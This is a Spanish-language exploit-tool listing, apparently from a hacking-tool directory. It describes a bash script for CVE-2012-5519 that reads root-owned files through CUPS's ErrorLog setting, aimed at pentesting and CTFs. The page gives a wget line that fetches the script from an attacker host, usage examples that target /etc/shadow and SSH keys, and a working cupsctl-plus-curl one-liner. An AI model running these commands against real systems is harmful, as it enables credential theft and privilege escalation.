Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/p1ckzi/cve-2012-5519
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónRecopilación de InformaciónCTFPruebas de Penetración
GitHubp1ckzi/cve-2012-5519

CVE-2012-5519

cups-root-file-read.sh | CVE-2012-5519

Ver Repositorio
91hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

cups-root-file-read.sh ⭐

una implementación en bash del módulo 'cups_root_file_read.rb' de metasploit diseñada para pentesting y CTFs.
principalmente un pequeño ejercicio de scripting en bash. pensado para ser un programa autocontenido que explota CVE-2012-5519 en sistemas linux;
proporciona al usuario un prompt interactivo, permitiéndole leer rápidamente múltiples archivos restringidos.

el exploit - CVE-2012-5519 ❗

este script explota una vulnerabilidad en CUPS (sistema común de impresión UNIX) < 1.6.2.
CUPS permite a los usuarios del grupo lpadmin realizar cambios en el archivo cupsd.conf mediante el comando cupsctl.
este comando también permite al usuario especificar una ruta de ErrorLog.
cuando el usuario visita la página '/admin/log/error_log', el demonio cupsd ejecutándose con SUID de root lee la ruta de ErrorLog y la muestra en texto plano.
en resumen, los archivos propiedad del usuario root pueden leerse si la ruta de ErrorLog se dirige allí.

requisitos previos ✔

el script realiza una serie de comprobaciones antes de pasar el prompt al usuario; sin embargo, todos los requisitos incluyen:

  • linux - el script solo ha sido probado en linux y puede no funcionar en otros sistemas operativos.
  • bash - cups-root-file-read.sh está escrito en bash.
  • curl - (comprobado dentro del script) se utiliza para solicitar la página web. actualmente no hay comandos alternativos de parseo HTTP integrados en el script, como wget o nc, debido a limitaciones de tiempo.
  • vulnerable - (comprobado dentro del script) se realizan algunas comprobaciones para asegurarse de que la vulnerabilidad existe y de si el usuario actual puede explotarla y, por tanto, usar el script de exploit. estas incluyen ser miembro del grupo 'lpadmin', si el comando cupsctl está disponible, etc...

uso ℹ

se asume que el script se utilizará para fines de pentesting y eventos CTF. coloque el script en la máquina objetivo. esto puede hacerse de varias maneras. un método común desde la máquina objetivo:

root@kitploit:~
wget http://[my ip]:[my port]/cups-root-file-read.sh

cups-root-file-read.sh no requiere ningún argumento o flag, pero tiene dos opcionales:

root@kitploit:~
./cups-root-file-read.sh -h

./cups-root-file-read.sh does not require any arguments to run.
it is currently interactive only.
usage: ./cups-root-file-read.sh [-a|--accessible] [-h|--help]
        -a, --accessible: turns off features which may negatively affect
        screen readers.
        -h, --help: prints this dialog message.
after passing all the required checks for the exploit,
the user will be prompted for input.
type in the full path to a file to read it.
eg.
        1. /root/.ssh/id_rsa
        2. /root/.bash_history
        3. /etc/shadow etc...

ejecutar con:

root@kitploit:~
bash cups-root-file-read.sh

o

root@kitploit:~
chmod +x cups-root-file-read.sh

./cups-root-file-read.sh

o si solo quiere leer un único archivo:

root@kitploit:~
echo '/etc/shadow' | ./cups-root-file-read.sh

después de pasar las comprobaciones iniciales de funcionalidad y vulnerabilidad, se proporciona al usuario un prompt que le permite escribir una ruta absoluta a un archivo existente. el contenido de cada archivo se imprimirá en la terminal.

mejor uso:

aunque el script puede usarse para comprobar archivos restringidos y leerlos, es más útil si el usuario ya sabe de la existencia de archivos restringidos que pueda querer ver. por ejemplo:

  • /root/.ssh/id_rsa
  • /root/.bash_history
  • /etc/shadow
  • /etc/sudoers ... etc.

limitaciones ⚠

hay algunas limitaciones en el script y el exploit. y hasta donde sé, el módulo 'cups_root_file_read.rb' para metasploit también sufre estas mismas limitaciones.

espacios en blanco:

la entrada del usuario debe ser una ruta absoluta a un archivo existente que el usuario quiera ver y no debe contener espacios en blanco en ningún lugar del archivo o la ruta. esto se debe a que el comando cupsctl no puede manejar correctamente los caracteres de espacio en blanco incluso con comillas (ej. ErrorLog='/path to/file.txt') y separará la entrada en los caracteres de espacio en blanco en directivas separadas, con el valor booleano de 'true'.
el ejemplo anterior, si se envía, se escribiría en el archivo cupsd.conf como:

root@kitploit:~
ErrorLog=/path
to/file.txt=true

esto lanza errores que se escriben en el registro de errores, que pueden ser archivos importantes si se especifican en la ruta de ErrorLog en un intento exitoso anterior de leer un archivo. Por lo tanto, el script comprueba los espacios en blanco y los filtra.


devolución de códigos de estado 404:

a pesar de las comprobaciones para asegurarse de que el usuario envía algo que se asemeja a una ruta y archivo absolutos, no todos los errores pueden detectarse antes de pasarse al servidor con el comando cupsctl:
los archivos existentes dentro del directorio raíz pueden leerse (ej. '/file.txt'), pero también pueden enviarse directorios unix comunes como '/tmp' y '/root' (ya sea a propósito o por error del usuario). no hay una captura para dichos directorios del sistema y estos devolverán códigos de estado 404 del servidor. el usuario es informado de estos.
los directorios inexistentes especificados en la ruta (ej. '/tmp/non-existent-directory/file.txt') también resultarán en un código de estado 404 devuelto por el servidor.


archivos vacíos:

intentar ver archivos inexistentes (ej. '/root/non-existent-file.txt') resultará en su creación como el nuevo registro de errores. el usuario es informado de esto en la salida y de que el archivo vacío puede haber sido creado por el script de exploit si no estaba ya allí anteriormente. siempre existe la posibilidad de que estos archivos vacíos hayan sido creados por un usuario del sistema con cualquier propósito aproximadamente al mismo tiempo en que se ejecutó el script, por lo que no se eliminan.

aunque linux tiene comandos para comprobar si un archivo o directorio existe, esta funcionalidad no se ha implementado en el script antes de que la entrada del usuario se pase al comando cupsctl, ya que los comandos de comprobación no funcionan si un archivo o directorio existe en un lugar fuera de los límites del usuario actual (ej. '/root') por razones de seguridad obvias. dado que el script está diseñado para leer tales archivos fuera de límites, tal funcionalidad sería inútil.


errores de cups:

a veces pueden ocurrir errores de cupsctl al realizar cambios, ya sea manualmente o mediante cups-root-file-read.sh. aunque cups-root-file-read.sh maneja entradas de usuario inusuales y algunos errores, estos errores de cupsctl que ocurren al realizar cambios en el archivo cupsd.conf o al solicitar la página web no se manejan. cups-root-file-read.sh simplemente saldrá. en estos casos, el script puede iniciarse de nuevo y se puede hacer otro intento.


notas 📝

el script fue principalmente un ejercicio para crear un programa corto, completo y autocontenido para un solo exploit, teniendo en cuenta tanto la legibilidad como la accesibilidad.

el script está pensado para comprobar la presencia de CVE-2012-5519 y luego leer múltiples archivos restringidos de forma rápida y sencilla durante la explotación. para ese propósito, siento que es significativamente más rápido que el módulo de metasploit y que escribir un comando manual y editarlo repetidamente (eso espero). pero dicho esto, si el usuario sabe que la máquina objetivo es vulnerable, se puede lograr el mismo resultado con algo como:

root@kitploit:~
cupsctl ErrorLog=/etc/shadow WebInterface=Yes && curl 'http://localhost:631/admin/log/error_log'

a partir de 2022, este exploit tiene 10 años. si la máquina objetivo también es antigua, es posible que las versiones de los diversos comandos utilizados dentro del script no tengan la funcionalidad que ahora tienen. esto también podría aplicarse a la versión de bash. desafortunadamente, estuve limitado por el tiempo y no pude probar el script en una gama más amplia de entornos. puede ser más útil para CTFs.

originalmente el script iba a crearse con python3, sin embargo me he encontrado con varias ocasiones en las que python2 y python3 no estaban disponibles para el usuario después de obtener acceso a un sistema como usuario sin privilegios. bash está casi siempre disponible en un sistema linux, así como los comandos linux comunes, por lo que una implementación en bash parecía la opción más segura.

los comandos integrados de bash se utilizan tanto como es posible, sin embargo el script depende de algunos comandos externos como sort, head y curl (y por supuesto cupsctl utilizado como parte del exploit). actualmente no hay comprobaciones para estos comandos ni alternativa debido a limitaciones de tiempo. el script fallará si estos comandos no están disponibles :(

créditos 👍

https://argbash.io - por la ayuda con los argumentos iniciales del script.
https://skerritt.blog/a11y/ - implementación de accesibilidad.

Descargar herramienta